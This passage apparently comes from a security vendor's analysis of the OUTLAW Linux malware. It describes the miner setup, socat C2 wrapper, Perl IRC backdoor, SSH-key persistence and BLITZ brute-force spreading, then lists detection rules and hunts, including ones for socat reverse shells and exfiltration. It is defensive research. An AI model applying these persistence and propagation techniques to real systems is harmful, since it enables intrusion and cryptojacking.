<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/08-xmrig-optimize.png" alt="XMRig optimization function: enable MSR writes" title="XMRig optimization function: enable MSR writes" /></p>
<p>Next, the function identifies the active CPU by checking <code>/proc/cpuinfo</code> and applies specific MSR register values to optimize performance.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/09-xmrig-registers.png" alt="XMRIG optimization function: apply MSR registers" title="XMRIG optimization function: apply MSR registers" /></p>
<p>Finally, the function optimizes memory usage by enabling <code>hugepages</code> for all CPU cores, increasing memory access efficiency. It calculates the number of <code>hugepages</code> needed based on the available processors (<code>nproc</code>) and sets them in the <code>/sys/devices/system/node/node*/hugepages/</code> directories.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/10-xmrig-hugepages.png" alt="XMRig optimization function: enable hugepages" title="XMRig optimization function: enable `hugepages`" /></p>
<p>The <code>optimize_func()</code> function was not created by the threat actor. The threat actor used an open-source script from the <code>XMRig</code> repository, specifically the <a href="https://github.com/xmrig/xmrig/blob/master/scripts/randomx_boost.sh">randomx_boost.sh</a> script, to aid in their infection chain.</p>
<p>Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of <code>hugepages</code> through <code>sysctl</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/11-condition-optimize.png" alt="Condition for running optimize_func() function" title="Condition for running `optimize_func()` function" /></p>
<p>All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the <code>upd</code> file and &quot;777&quot; permissions to all files in its folder and runs <code>upd</code>.</p>
<p>As we saw earlier in the chain, the <code>upd</code> file checks whether the process stored in <code>bash.pid</code> is still running, and if it is not, it will execute the <code>run</code> script:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/12-run-script-a.png" alt="The run script for thea/ folder" title="The `run` script for the `a/` folder" /></p>
<p>The run script will start the <code>stop</code> script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/13-stop-script-a.png" alt="The stop script for the a/ folder" title="The `stop` script for the `a/` folder" /></p>
<p>Interestingly enough, a second process-killing script called <code>init0</code> is present, which is an <a href="https://github.com/MinervaLabsResearch/BlogPosts/blob/master/MinerKiller/MinerKiller.sh">open-source script</a> for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the <code>a</code> script.</p>
<p>After the <code>stop</code> script has been successfully run, the <code>run</code> script starts the <code>kswapd01</code> and <code>kswapd0</code> binaries in the background via <code>nohup</code>.</p>
<h4>kswapd01</h4>
<p>The <code>kswap01</code> binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous <code>socat</code> process, which is essential for communication with the attacker’s C2 servers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/14-kswapd01-main.png" alt="The main function of the kswapd01 socat wrapper" title="image_toThe main function of the `kswapd01` `socat` wrapperoltip" /></p>
<p>When executed, <code>kswap01</code> checks for any existing <code>socat</code> processes running on the infected machine. If no active connection is found, it proceeds to kill any running <code>socat</code> processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh <code>socat</code> process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker.</p>
<p>However, it's important to note that not every version of the OUTLAW malware package observed includes the <code>socat</code> binary. In these cases, the functionality provided by <code>socat</code> is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication.</p>
<p>By performing these checks and modifications, <code>kswap01</code> helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system.</p>
<h4>kswapd0</h4>
<p>The file named <code>kswapd0</code> is a maliciously modified copy of the legitimate <code>XMRig</code> cryptocurrency miner (specifically version 6.22.1).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/15-kswapd0-xmrig-version.png" alt="The XMRig version" title="The `XMRig` version" /></p>
<p>Two major modifications define the malware’s behavior:</p>
<p><strong>1. Startup Shell Commands</strong></p>
<ul>
<li>The malware removes and recreates the victim’s <code>~/.ssh</code> folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (<code>chattr +ia</code>) to prevent modification. This grants persistent SSH access.</li>
<li>It also removes or locks existing <code>XMRig</code> configuration files (e.g., <code>~/.xmrig.json</code>, <code>~/.config/xmrig.json</code>) to ensure the attacker’s embedded miner settings remain intact.</li>
</ul>
<p><strong>2. Embedded Miner Configuration</strong></p>
<ul>
<li>The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file.</li>
<li>Mining traffic is routed to multiple Monero pools over plaintext ports (<code>:80</code>, <code>:4444</code>), SSL (<code>:442</code>), and occasionally TOR addresses. Note that the port 442 here is not a typo.</li>
<li>The configuration optimizes performance by:
<ul>
<li>Running the miner in the background</li>
<li>Enabling large pages for <code>RandomX</code></li>
<li>Setting the donation level to zero</li>
<li>Maximizing CPU thread usage</li>
</ul>
</li>
</ul>
<p>By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, <code>kswapd0</code> serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process.</p>
<h3>Subroutine Execution of b/ directory: STEALTH SHELLBOT</h3>
<p>As we described earlier, the <code>a</code> binary in the <code>b/</code> directory was also executed via the <code>init</code> scripts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/16-a-in-b-folder.png" alt="The a script in the b/ folder" title="The `a` script in the `b/` folder" /></p>
<p>This script kicks off another <code>stop</code> script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called <code>sync</code>, with the sole purpose of executing the <code>run</code> script. This script is referenced in the cronjob we described earlier. The <code>run</code> script contains three base64-encoded blobs, which are piped to <code>perl</code>. An example of a shortened script is shown below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/17-base64-encoded.png" alt="Base64 encoded code" title="Base64 encoded code" /></p>
<p>Upon base64 decoding, obfuscated <code>perl</code> scripts are identified. These scripts leverage a <a href="https://perlobfuscator.com/">public Perl Obfuscator</a> utility to obfuscate their contents, making them harder to analyze:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/18-perl-obfuscated-code.png" alt="Perl obfuscated code" title="Perl obfuscated code" /></p>
<p>Fortunately, the author left the standard comments in the obfuscated scripts. By using the <a href="https://perlobfuscator.com/decode-stunnix-5.17.1.pl">publicly available deobfuscator</a> we can deobfuscate the script through the following command:</p>
<pre><code class="language-bash">perl decode-stunnix-5.17.1.pl &lt; obfuscated_run.pl &gt; deobfuscated_run.pl
</code></pre>
<p>After which we can view the deobfuscated contents:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/19-perl-deobfuscated.png" alt="Part of the Stealth Shellbot Perl code" title="Part of the `Stealth Shellbot` Perl code" /></p>
<p>This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment.</p>
<p>The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through <code>chattr</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/20-persistence.png" alt="Persistence via SSH key" title="Persistence via SSH key" /></p>
<h4>STEALTH SHELLBOT Scripts</h4>
<p>The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities.</p>
<p>SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can:</p>
<ul>
<li>Execute arbitrary shell commands</li>
<li>Download and execute additional payloads</li>
<li>Launch DDoS attacks (in older variants)</li>
<li>Steal credentials or exfiltrate system information</li>
<li>Manage crypto miners or other malware components</li>
</ul>
<p>OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions.</p>
<p>While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch.</p>
<h3>Subroutine Execution of c/ directory: Customer Bruteforcer</h3>
<p>As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the <code>init</code> and <code>init2</code> scripts. These scripts both call the <code>start</code> script, containing the following contents:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/21-start-script-in-c.png" alt="alt_tThe start script in the c/ folderext" title="The `start` script in the `c/` folder" /></p>
<p>This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named <code>aptitude</code> (which is also called by the previously set up cron job), to run the <code>run</code> script. After creating <code>aptitude</code>, it is granted execution permissions and is run.</p>
<p>The <code>run</code> script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/22-run-script-in-c.png" alt="The run script in the c/ folder" title="The `run` script in the `c/` folder" /></p>
<p>If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing <code>./go</code> in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary <code>golan</code> now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess.</p>
<p>In most scenarios, the execution flow moves to the bash script called <code>go</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/23-go-script-in-c.png" alt="The go bash script in the c/ folder" title="The `go` bash script in the `c/` folder" /></p>
<p>The script determines the CPU architecture and assigns a thread count accordingly:</p>
<ul>
<li>ARM-based systems → 75 threads</li>
<li>i686 (32-bit x86) → 325 threads</li>
<li>All others (default) → 475 threads</li>
</ul>
<p>It then enters an infinite loop, executing the following actions:</p>
<ol>
<li>Creates and cleans up temporary files (<code>v</code>, <code>p</code>, <code>ip</code>, <code>xtr*</code>, <code>a.*</code>, <code>b.*</code>).</li>
<li>Writes hardcoded values (<code>257.287.563.234</code> and <code>sdaferthqhr34312asdfa</code>) into files <code>c</code> and <code>d</code>.</li>
<li>Waits for a random delay (1-30 seconds) before launching <code>blitz</code>.</li>
<li>Executes <code>blitz</code> for 3 hours with specified parameters (<code>-t $threads</code> suggests multi-threaded processing).</li>
<li>Performs post-execution cleanup, removing temporary and log files before repeating the cycle.</li>
</ol>
<h4>BLITZ</h4>
<p>OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention.</p>
<h5>BLITZ Execution Process</h5>
<p>Upon execution, BLITZ follows a structured attack sequence:</p>
<ol>
<li><strong>IP Target and Credential Retrieval</strong>
<ul>
<li>BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs.</li>
</ul>
</li>
<li><strong>Brute-Force Authentication &amp; System Profiling</strong>
<ul>
<li>Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials.</li>
<li>Once access is gained, it:
<ul>
<li>Changes the user’s password for persistent access.</li>
<li>Executes system reconnaissance commands, collecting:
<ul>
<li>User privileges</li>
<li>CPU details</li>
<li>SSH banner information</li>
<li>OS version</li>
</ul>
</li>
<li>Exfiltrates gathered data to the C2 server.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Subnet Scanning &amp; Lateral Movement</strong>
<ul>
<li>The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack.</li>
</ul>
</li>
<li><strong>Self-Replication &amp; Malware Deployment</strong>
<ul>
<li>Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure.</li>
</ul>
</li>
</ol>
<p>By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion.</p>
<h5>Binary Analysis &amp; C2 Communication</h5>
<p>Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/24-random-ip-select.png" alt="Random IP Selection for the C2 SSH server" title="Random IP Selection for the C2 SSH server" /></p>
<p>Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password &quot;pegasus&quot;. Upon successful authentication, Blitz logs attack details into a &quot;v&quot; file, structured as follows:</p>
<p>This log contains:</p>
<ul>
<li>Original username and password used in the attack.</li>
<li>The victim’s IP address and the new password set by the malware.</li>
<li>SSH port and OS details, including CPU specifications.</li>
</ul>
<p>Once BLITZ completes its scanning cycle, the &quot;v&quot; file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems.</p>
<h2>Post-Compromise</h2>
<p>To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions.</p>
<p>A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29.  The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via <code>wget</code>, unpacked it, and executed the newly fetched script.</p>
<p>This whole chain of activity can be displayed through <a href="https://www.elastic.co/pt/guide/en/security/current/session-view.html">session view</a>, an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/01-honeypot.gif" alt="Threat actors actions in a honeypot" title="Threat actors actions in a honeypot" /></p>
<p>The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC.</p>
<p>This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual &quot;quality check&quot; of sorts—underscoring the importance of timely detection and swift containment.</p>
<h2>Detecting OUTLAW through MITRE ATT&amp;CK</h2>
<p>OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&amp;CK techniques, making it an effective case for detection engineering.</p>
<p>This section maps OUTLAW’s attack chain to MITRE ATT&amp;CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages.</p>
<p>OUTLAW follows a structured infection flow:</p>
<ul>
<li><strong>Initial Access</strong> – SSH brute-force against weak credentials.</li>
<li><strong>Execution</strong> – Runs malicious scripts to kick off several stages of malware infection.</li>
<li><strong>Persistence</strong> – Installs cron jobs and modifies SSH keys.</li>
<li><strong>Defense Evasion</strong> – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts.</li>
<li><strong>Credential Access</strong> – Modifies credentials and injects public SSH keys.</li>
<li><strong>Discovery</strong> – Enumerates user, system, and hardware details.</li>
<li><strong>Lateral Movement</strong> – Spreads via internal SSH brute-force and malware transfer.</li>
<li><strong>Collection &amp; Exfiltration</strong> – Collects and exfiltrates system data to its C2.</li>
<li><strong>Command and Control</strong> – Uses socat and STEALTH SHELLBOT for C2 communication.</li>
<li><strong>Impact</strong> – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node.</li>
</ul>
<p>The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections.</p>
<h3>TA001: Initial Access</h3>
<p>OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built <a href="https://github.com/elastic/detection-rules/">detection rules</a> can successfully detect this method of initial access. These include:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml">Potential External Linux SSH Brute Force Detected</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml">Potential Successful SSH Brute Force Attack</a></li>
</ul>
<p>Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml">Successful SSH Authentication from Unusual SSH Public Key</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml">Successful SSH Authentication from Unusual User</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml">Successful SSH Authentication from Unusual IP Address</a></li>
</ul>
<p>Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/pt/guide/en/kibana/current/osquery.html">OSQuery</a>, publicly available in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>. For example, the following two hunts may help in identifying different stages of the attack:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/login_activity_by_source_address.toml">Logon Activity by Source IP</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml">Excessive SSH Network Activity to Unique Destinations</a></li>
</ul>
<h3>TA002: Execution</h3>
<p>After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar">Memory Threat Detection Alert: Linux.Trojan.Pornoasset</a></li>
</ul>
<p>The STEALTH SHELLBOT script is detected through:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml">Script Executed Through Unusual Parent Process</a></li>
</ul>
<p>Additionally, the malware executes multiple suspicious system commands, triggering:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml">Suspicious System Commands Executed by Previously Unknown Executable</a></li>
</ul>
<h3>TA003: Persistence</h3>
<p>This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our &quot;<a href="https://www.elastic.co/pt/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a>&quot; publication. We can detect these techniques through the following SIEM and <a href="https://github.com/elastic/protections-artifacts">endpoint rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></li>
</ul>
<p>Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_cron.toml">Persistence via Cron</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_ssh_configurations_and_keys.toml">Persistence via SSH Configurations and/or Keys</a></li>
</ul>
<h3>TA005: Defense Evasion</h3>
<p>OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml">Base64 Decoded Payload Piped to Interpreter</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml">Unusual Base64 Encoding/Decoding Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_linux_payload_decoded_and_decrypted_via_built_in_utility.toml">Linux Payload Decoded and Decrypted via Built-in Utility</a></li>
</ul>
<p>Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections.</p>
<p>Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using <code>chattr</code>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_file_mod_writable_dir.toml">File Permission Modification in Writable Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_hidden_file_dir_tmp.toml">Creation of Hidden Files and Directories via CommandLine</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_chattr_immutable_file.toml">File made Immutable by Chattr</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/defense_evasion_chattr_execution_from_unusual_parent.toml">Chattr Execution from Unusual Parent</a></li>
</ul>
<p>We can further enhance detection through the following hunting query:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/hunting/linux/queries/defense_evasion_via_hidden_process_execution.toml">Hidden Process Execution</a></li>
</ul>
<h3>TA006: Credential Access</h3>
<p>OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml">SSH Authorized Keys File Deletion</a></li>
</ul>
<p>The malware then changes the user credentials for the authenticated account by entering a new password using the <code>passwd</code> utility:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml">Linux User Account Credential Modification</a></li>
</ul>
<h3>TA007: Discovery</h3>
<p>OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several <a href="https://www.elastic.co/pt/guide/en/security/current/building-block-rule.html">building block rules</a>, as listed in our <a href="https://github.com/elastic/detection-rules/tree/main/rules_building_block">rules_building_block directory</a>. Below is a short list of the most important ones triggered by OUTLAW:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_process_discovery_via_builtin_tools.toml">Process Discovery via Built-In Applications</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_of_accounts_or_groups_via_builtin_tools.toml">Account or Group Discovery via Built-In Tools</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_system_network_connections.toml">System Network Connections Discovery</a></li>
</ul>
<p>The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats.</p>
<h3>TA008: Lateral Movement</h3>
<p>OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml">Potential Port Scanning Activity from Compromised Host</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_subnet_scanning_activity_from_compromised_host.toml">Potential Subnet Scanning Activity from Compromised Host</a></li>
</ul>
<p>Once a system is successfully brute-forced, the malware package, <code>dota3.tar.gz</code>, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation.</p>
<p>Elastic pre-built detection rules can identify these lateral movement attempts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/credential_access_potential_linux_ssh_bruteforce_internal.toml">Potential Internal Linux SSH Brute Force Detected</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_remote_file_creation_world_writeable_dir.toml">Remote File Creation in World Writeable Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_unusual_remote_file_creation.toml">Unusual Remote File Creation</a></li>
</ul>
<p>Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in.</p>
<h3>TA009: Collection &amp; TA010: Exfiltration</h3>
<p>OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own.</p>
<p>Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml">Unusual File Transfer Utility Launched</a></li>
</ul>
<h3>TA011: Command and Control</h3>
<p>OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml">Socat Reverse Shell or Listener Activity</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_frequent_egress_netcon_from_sus_executable.toml">High Number of Egress Network Connections from Unusual Executable</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_suspicious_network_activity_from_unknown_executable.toml">Suspicious Network Activity to the Internet by Previously Unknown Executable</a>.</li>
</ul>
<p>The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/low_volume_external_network_connections_from_process.toml">Low Volume External Network Connections from Process by Unique Agent</a></li>
